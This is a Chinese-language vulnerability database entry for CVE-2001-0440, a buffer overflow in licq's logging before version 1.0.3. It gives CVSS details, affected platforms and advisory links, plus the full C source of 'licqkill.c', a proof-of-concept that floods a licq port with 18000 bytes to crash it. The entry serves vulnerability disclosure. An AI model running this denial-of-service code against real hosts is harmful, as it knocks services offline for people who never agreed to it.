CVE-2001-0440
CVSS7.5
发布时间 :2001-07-02 00:00:00
修订时间 :2008-09-05 16:24:07
NMCOE    

[原文]Buffer overflow in logging functions of licq before 1.0.3 allows remote attackers to cause a denial of service, and possibly execute arbitrary commands.


[CNNVD]licq对数函数缓冲区溢出漏洞(CNNVD-200107-015)

        licq 1.0.3之前版本的对数函数存在缓冲区溢出漏洞。远程攻击者利用该漏洞导致服务拒绝和可能执行任意命令。

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/o:conectiva:linux:4.0Conectiva Conectiva Linux 4.0
cpe:/a:licq:licq:1.0.2
cpe:/o:conectiva:linux:5.1Conectiva Conectiva Linux 5.1
cpe:/o:conectiva:linux:5.0Conectiva Conectiva Linux 5.0
cpe:/o:conectiva:linux:ecommerceConectiva Conectiva Linux ecommerce
cpe:/o:conectiva:linux:4.2Conectiva Conectiva Linux 4.2
cpe:/o:mandrakesoft:mandrake_linux:7.2MandrakeSoft Mandrake Linux 7.2
cpe:/o:mandrakesoft:mandrake_linux:7.1MandrakeSoft Mandrake Linux 7.1
cpe:/o:conectiva:linux:6.0Conectiva Conectiva Linux 6.0
cpe:/o:conectiva:linux:4.0esConectiva Conectiva Linux 4.0es
cpe:/o:conectiva:linux:prg_graficosConectiva Conectiva Linux prg graficos
cpe:/o:conectiva:linux:4.1Conectiva Conectiva Linux 4.1

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0440
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2001-0440
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200107-015
(官方数据源) CNNVD

- 其它链接及资源

http://www.linux-mandrake.com/en/security/2001/MDKSA-2001-032.php3
(VENDOR_ADVISORY)  MANDRAKE  MDKSA-2001:032
http://distro.conectiva.com.br/atualizacoes/?id=a&anuncio=000389
(VENDOR_ADVISORY)  CONECTIVA  CLA-2001:389
http://archives.neohapsis.com/archives/freebsd/2001-04/0607.html
(VENDOR_ADVISORY)  FREEBSD  FreeBSD-SA-01:35
http://xforce.iss.net/static/6645.php
(UNKNOWN)  XF  licq-logging-bo(6645)
http://www.redhat.com/support/errata/RHSA-2001-023.html
(UNKNOWN)  REDHAT  RHSA-2001:023
http://www.redhat.com/support/errata/RHSA-2001-022.html
(UNKNOWN)  REDHAT  RHSA-2001:022
http://www.osvdb.org/5601
(UNKNOWN)  OSVDB  5601

- 漏洞信息

licq对数函数缓冲区溢出漏洞
高危 缓冲区溢出
2001-07-02 00:00:00 2005-05-02 00:00:00
远程  
        licq 1.0.3之前版本的对数函数存在缓冲区溢出漏洞。远程攻击者利用该漏洞导致服务拒绝和可能执行任意命令。

- 公告与补丁

        

- 漏洞信息 (20646)

LICQ 0.85/1.0.1/1.0.2 Remote Buffer Overflow Vulnerability (EDBID:20646)
unix remote
2000-12-26 Verified
0 Stan Bubrouski
N/A [点击下载]
source: http://www.securityfocus.com/bid/2406/info

At least one version of LICQ is vulnerable to a remote buffer overflow. By sending many characters (12000-16000) to the port on which LICQ is listening, an attacker can cause excessive data to be copied onto the stack and overwrite critical parts of the stack frame such as the calling functions' return address. Since this data is supplied by the user it can alter the program's flow of execution.

/*
 * Name: Licqkill.c
 * Author: Stan Bubrouski <stan@ccs.neu.edu>
 * Date: December 26, 2000
 * Description: Licq will crash when 16707 or more characters are sent to the port
 *              Licq is listening on.  Finding the port Licq is running on is pretty
 *              simple because by default it starts using ports around 1100 or so.  This
 *              has been tested against Licq v.85 and v1.0.2
 * Purpose: Proof-of-concept tool for the Licq Denial of Service vulnerability.
 */

#include <netdb.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>

int main(int argc, char **argv)
{
	char buf[18000];
	int i, sock, result;
	struct sockaddr_in sin;
	struct hostent *hn;

	printf("licqkill.c - Licq remote DoS by Stan Bubrouski <stan@ccs.neu.edu>\n\n");

	if (argc < 3) 
	{
		fprintf(stderr, "Usage: %s <host> <port>\n", argv[0]);
		exit(-1);
	}

	hn = gethostbyname(argv[1]);

	if (!hn)
	{
		fprintf(stderr, "%s: host lookup failure\n", argv[1]);
		exit(-1);
	}

	sin.sin_family = AF_INET;
	sin.sin_port = htons(atoi(argv[2]));
	sin.sin_addr = *(struct in_addr *)hn->h_addr;
	sock = socket(AF_INET, SOCK_STREAM, 0);
	result = connect(sock, (struct sockaddr *)&sin, sizeof(struct sockaddr_in));

	if (result != 0) 
	{ 
		fprintf(stderr, "Failed to establish connection to %s\n", argv[1]);
		exit(-1);
	}
	
	if (sock < 0)
	{
		fprintf(stderr, "Socket error.");
		exit(-1);
	}

	for (i=0; i<18000; i++)
		strncat(buf, "A", 1);
	send(sock, buf, sizeof(buf), 0);
	close(sock);
	fprintf(stdout, "Data sent\n\n");
}

		

- 漏洞信息

5601
licq Logging Functions Remote Overflow
Remote / Network Access Input Manipulation
Loss of Integrity
Exploit Public

- 漏洞描述

A remote overflow exists in licq. The logging function fails to validate input resulting in a buffer overflow. With a specially crafted request, an attacker can cause arbitrary code execution resulting in a loss of confidentiality, integrity, and/or availability.

- 时间线

2001-02-21 2001-02-20
Unknow Unknow

- 解决方案

Upgrade to version 1.0.3 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站